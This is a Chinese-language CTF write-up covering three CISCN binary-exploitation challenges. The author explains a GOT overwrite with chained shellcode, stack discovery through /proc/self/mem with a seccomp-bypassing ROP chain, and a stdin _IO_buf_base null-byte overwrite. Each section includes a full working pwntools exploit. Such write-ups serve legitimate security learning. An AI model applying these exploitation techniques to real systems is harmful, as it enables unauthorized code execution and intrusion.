全国大学生信息安全竞赛(CISCN)解题赛部分PWN题解

​ 拖了好久才来整理全国大学生信息安全竞赛的题解,最近都在忙着DEF CON CHINA的RHG比赛的开发,虽然最后貌似只混了一件T恤… 这次比赛本来不想打的,三、四月份的比赛略多,最后趁着五一的假期,被Misty大佬召唤过来打了一天,队伍名称是Xopowo(俄语好的意思?хорошо)。

​ 最后做出来和复现的有三道:note-service2 、 house_of_grey 、 echo_back

note-service2

这道题给出的hint是

漏洞分析

大致分析了一下题目,题目主要提供了add、delete两个函数:

add函数

delete函数

可能很多人发现的是delete函数那里悬垂指针可被double free的漏洞,但是此题这个漏洞貌似并没有太大的用处,此题存在的问题是,在add函数中输入index时当index是负数或者一个大于预留数组的size可以越界写的问题。并且,此题对got表没有开启RELRO保护,且也没有开启NX保护,这样可以输入负数,覆写got表函数地址,劫持到我们申请的堆块上去执行。换句话说这题只是一道写shellcode的题目,由于之前刷过pwnable.tw,认出了这题是Alive Note这题,这题在pwnable.tw上是32位的题目,并且限制了仅能输入0~9A~Za~z。貌似CISCN是改成了64位。

漏洞利用

具体思路我曾经写过blog: http://www.cnblogs.com/p4nda/p/7992951.html(当我发现这题的原型,在国赛期间我心机的隐藏这篇博客,然而可能并没人看...)

思路是利用malloc申请堆块的规律,虽然只能写很少的shellcode,但是可以利用jmp等跳转语句直接跳转到下一块堆块去执行,最终利用系统调用syscall拿到shell,此题我预先在第一块堆块上部署好了”/bin/sh”,劫持了free@got,此时rdi指向这个/bin/sh节省了不少步骤。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from ctypes import *
debug = 0
elf = ELF('./task_note_service2_OG37AWm')
context.update(arch = 'amd64')
#ciscn{93707fa0f2eca125f3998d0c6fb1a932}
if debug:
p = process('./task_note_service2_OG37AWm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
gdb.attach(p)
else:
p = remote('117.78.43.123', 31128)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,content):
p.recvuntil('your choice>>')
p.sendline('1')
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('size')
p.sendline(str(8))
p.recvuntil('content')
p.send(content)

add(0,'/bin/sh')
add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xe9\x16')
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xe9\x16')
add(2,asm('xor rdx,rdx')+'\x90\x90\xe9\x16')
add(3,asm('syscall')+'\x90'*5)

p.recvuntil('choice')
p.sendline('4')
p.recvuntil('index')
p.sendline('0')
p.interactive()

house_of_grey

漏洞分析

此题的逻辑比较复杂,在main函数中首先利用mmap函数分配了一块内存,再利用clone函数,以mmap动态分配的内存作为栈基址,具体启动了fn函数

main

在fn函数中首先利用系统沙箱禁止了大部分的系统调用,然后主要提供了4个函数。

功能

漏洞存在于case 1中,在设置文件名称是存在溢出漏洞,可以覆盖v8变量,而v8正是case 4中read的第二个参数,因此总体来说存在内存任意写漏洞。

漏洞

漏洞利用

首先,可以通过读/proc/self/maps来获取各程序段的内存地址,起初以为这样就可以知道全部的内存地址,包括新启动的进程栈地址。

但在实际尝试过程中,发现fn函数的栈底并不是mmap得到内存块的结束地址,而是在其内部还有随机化。

另外还在困惑,在任意写时到底应该写在哪里… w1tcher提示我最终利用exit返回,可以劫持这个流程,但是我头铁决定将case 4中的read参数劫持到read函数的返回地址处,也就是是read自身覆写自身的返回地址… 这样在read函数结束时也就返回到了通过写入的rop中。

这种想法遇到的一个问题是如何拿到随机化的栈地址?

此时想到另外一个文件/proc/self/mem,这个文件相当于程序内存的一个映射。在测试过程中发现,其栈起始地址与mmap内存块的结束地址相差了一个随机值,而这个随机值是有一定范围的:0xf000000~0xfffffff之间,是可以爆破的,而爆破的过程是,首先利用case 2的定位函数,预先设定一个读取内存地址的起始值,然后不断的向下读,由于程序栈中存在一个明显的字符串标识”/proc/self/mem”,当读到的数据中包含这个字符串时就可以判断找到了栈。

可以简单验证一下可行性,爆破的次数最多可以有24次(共可以进行30次操作,其他操作占有次数),24*100000 = 2400000 = 0x249f00 , 而可能的范围是0x1000000 其概率为0.1430511474609375,是可以接受的。

另外此题的坑点还有系统调用的限制,最终可以通过open(‘/home/ctf/flag’) read(6,buf,0x100) puts(buf)读出。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#coding:utf-8
from pwn import *
from ctypes import *
debug = 0
elf = ELF('./task_house_P4U73bf')
#ciscn{57de0cd00899090b7193b2a99508e6db}
if debug:
p = process('./task_house_P4U73bf')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
else:
p = remote('117.78.43.123', 32619)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#off = 0x001b0000
context.log_level = 'debug'

p.recvuntil('Y/n')
p.sendline('y')
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')

p.sendline('/proc/self/maps')
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('get?')
p.sendline('10000')
p.recvuntil('something:\n')
pie = int('0x'+p.recvuntil('-')[:-1],16)
print '[+] pie:',hex(pie)
while 1:
a = p.recvline()
if 'heap' in a:
a = p.recvline()
stack_start = int(a.split('-')[0],16)
stack_end = int((a.split('-')[1]).split(' ')[0],16)
print '[+] stack_start:',hex(stack_start)
print '[+] stack_end:',hex(stack_end)
break
while 1:
a = p.recvline()
if 'libc' in a:
libc.address = int(a.split('-')[0],16)
print '[+] system:',hex(libc.symbols['system'])
break


canary = 0
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')
p.sendline('/proc/self/mem')
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('you?')
stack_guess = 0xf800000
p.sendline(str(stack_end - stack_guess - 24*100000))
print '[+] offset from ',hex( stack_guess + 24*100000),'to',hex(stack_guess)
print '[+] from ',hex(stack_end - stack_guess - 24*100000),'to',hex(stack_end - stack_guess)
for i in range(0,24):
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('get?')
p.sendline('100000')
p.recvuntil('something:\n')
tmp = p.recvuntil('1.Find ')[:-7]
if '/mem' in tmp:
print '[+++] find'
print tmp.split('/proc/self/mem')[0]
canary = u64(tmp.split('/proc/self/mem')[0][-0x48:-0x40])

break

stack_address = stack_end - stack_guess - 24*100000 + i *100000 + len(tmp.split('/proc/self/mem')[0])

if canary==0:
print '[-] fail'
exit(0)
print '[+] canary :',hex(canary)
print '[+] stack :',hex(stack_address)
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')
p.sendline('/proc/self/mem'+'\x00'*(0x18-14)+p64(stack_address-56))
p.recvuntil('Exit')
p.sendline('4')
p.recvuntil('content')
rop =p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+0x0000000000001821)+p64(0)+p64(0)+p64(pie+elf.symbols['open'])+p64(pie+0x0000000000001823)+p64(6)+p64(pie+0x0000000000001821)+p64(stack_address-56+0x100)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['read'])+p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['puts'])
rop +='a'*(0x100-len(rop))
rop += '/home/ctf/flag\0'
p.sendline(rop)


p.interactive()
'''
hex(-0x7fb165afd580 +0x7fb174d53000) 0xf255a80
hex(-0x7f810afe4db0 + 0x7f811af62000) 0xff7d250
hex(-0x7fe3844beeb0 + 0x7fe394428000) 0xff69150
hex(-0x7f73844633a0 + 0x7f73940a9000) 0xfc45c60
0x0000000000001823 : pop rdi ; ret

0x0000000000001821 : pop rsi ; pop r15 ; ret


00000000 23 28 99 7f 32 56 00 00 20 2f 20 00 00 00 00 00 │#(··│2V··│ / ·│····│
00000010 00 0b 00 00 00 00 00 00 23 28 99 7f 32 56 00 00 │····│····│#(··│2V··│
00000020 70 2f 20 00 00 00 00 00 00 0b 00 00 00 00 00 00 │p/ ·│····│····│····│
00000030 23 28 99 7f 32 56 00 00 30 2f 20 00 00 00 00 00 │#(··│2V··│0/ ·│····│
00000040 00 0b 00 00 00 00 00 00 0a
[DEBUG] Sent 0x49 bytes:
00000000 23 28 99 7f 32 56 00 00 20 2f 20 00 00 00 00 00 │#(··│2V··│ / ·│····│
00000010 00 0b 00 00 00 00 00 00 23 28 99 7f 32 56 00 00 │····│····│#(··│2V··│
00000020 70 2f 20 00 00 00 00 00 00 0b 00 00 00 00 00 00 │p/ ·│····│····│····│
00000030 23 28 99 7f 32 56 00 00 30 2f 20 00 00 00 00 00 │#(··│2V··│0/ ·│····│
00000040 00 0b 00 00 00 00 00 00 0a │····│····│·│
00000049
[*] Switching to interactive mode
:
[DEBUG] Received 0x40 bytes:
'/home/ctf/run.sh: line 2: 84 Segmentation fault ./house\n'
/home/ctf/run.sh: line 2: 84 Segmentation fault ./house
[*] Got EOF while reading in interactive
$

'''

echo back

此题当时没有做出来就和本科室友出去玩了… 后来回来复现了一下

漏洞分析

总体来说题目逻辑简单,漏洞也比较明显——格式化字符串,但是格式化字符串的长度是有限制的:

漏洞

首先利用格式化字符串可以泄露PIE、栈、libc地址。存在一个setname函数,可以由用户输入一个长度为7的值,由此步骤和格式化字符串漏洞,可以达到一个向任意地址写一个四字节或两字节或单字节的\x00。

漏洞

向任意地址写单字节的\x00还是比较敏感的,在去年的WHCTF 2017 中出现过一道向_IO_buf_base末位写\x00的利用方法,但是给定的libc是libc-2.24.so,此题虽然给的是libc-2.23.so,同样利用这个方法。

漏洞利用

该种利用方法利用的是文件IO中的几个指针在scanf中的应用。之前针对IO的利用也写过一些,比如House of Orange,那种利用方法比较复杂,是与堆结合,之前写过一篇丢到了看雪上:https://bbs.pediy.com/thread-223334.htm 这个攻击方法没有那么复杂,但是需要读scanf的源码。

首先scanf调用了 _IO_vfscanf ,并且提供增加了操作的文件指针stdin,这个指针很熟悉,是0号文件。其结构体是:

scanf

IO指针

其中红圈内的指针是本次漏洞利用主角

继续追踪_IO_vfscanf 函数,其具体实现是内联函数_IO_vfscanf_internal,其内部实现了scanf对于格式化的操作,其中比较重要的是inchar(),这个函数是读入用户输入数据的函数。此函数最终调用了_IO_new_file_underflow进行输入,这个最底层的操作。

查看函数逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
_IO_acquire_lock (_IO_stdout);

if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);

_IO_release_lock (_IO_stdout);
#endif
}

_IO_switch_to_get_mode (fp);
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。可以想到,当可以控制_IO_buf_base的值就可以达到任意地址写的目的了。

题目中可以利用是因为当覆盖为00时,指针恰好指向了stdin内部地址,并且可以再次覆写_IO_buf_base进一步造成内存任意写,而在scanf后面跟了一个getchar()函数,每次调用这个函数是会导致_IO_read_ptr++。

echo函数

由于在覆写_IO_base_buf时,会造成_IO_read_end+=输入的size,不断利用getchar可以使得_IO_read_ptr逐渐增大到_IO_read_end,最终再次调用read系统调用,达到内存任意写的目的。第二次覆写_IO_buf_base的内容为函数返回地址,写入ROP即可拿到shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding:utf-8
from pwn import *
from ctypes import *
debug = 1
elf = ELF('./echo_back')

if debug:
p = process('./echo_back')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
#gdb.attach(p)
else:
p = remote('117.78.43.123', 32619)
libc = ELF('./libc.so.6')
#off = 0x001b0000
context.log_level = 'debug'

def set_name(name):
p.recvuntil('choice>>')
p.sendline('1')
p.recvuntil('name')
p.send(name)

def echo(content):
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
p.sendline('-1')
p.send(content)
echo('%12$p\n')
p.recvuntil('anonymous say:')
stack_addr = int(p.recvline()[:-1],16)
print '[+] stack :',hex(stack_addr)
echo('%13$p\n')
p.recvuntil('anonymous say:')
pie = int(p.recvline()[:-1],16)-0xd08
print '[+] pie :',hex(pie)
echo('%19$p\n')
p.recvuntil('anonymous say:')
libc.address = int(p.recvline()[:-1],16)-240-libc.symbols['__libc_start_main']
print '[+] system :',hex(libc.symbols['system'])
set_name(p64(libc.address + 0x3c4918)[:-1])
echo('%16$hhn')
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
padding = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)
p.send(padding)
p.sendline('')
for i in range(len(padding)-1):
p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
p.sendline('')

p.recvuntil('choice>>')
p.sendline('2')
p.recvuntil('length:')
rop = p64(pie+0x0000000000000d93)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system'])
p.sendline(rop)
p.sendline('')
p.interactive()


'''
Gadgets information
============================================================
0x0000000000000d8c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000d8e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000d90 : pop r14 ; pop r15 ; ret
0x0000000000000d92 : pop r15 ; ret
0x0000000000000d8b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000d8f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000940 : pop rbp ; ret
0x0000000000000d93 : pop rdi ; ret
0x0000000000000d91 : pop rsi ; pop r15 ; ret
0x0000000000000d8d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000861 : ret

'''
文章目录
  1. 1. note-service2
    1. 1.1. 漏洞分析
    2. 1.2. 漏洞利用
    3. 1.3. EXP
  2. 2. house_of_grey
    1. 2.1. 漏洞分析
    2. 2.2. 漏洞利用
    3. 2.3. EXP
  3. 3. echo back
    1. 3.1. 漏洞分析
    2. 3.2. 漏洞利用
    3. 3.3. EXP
|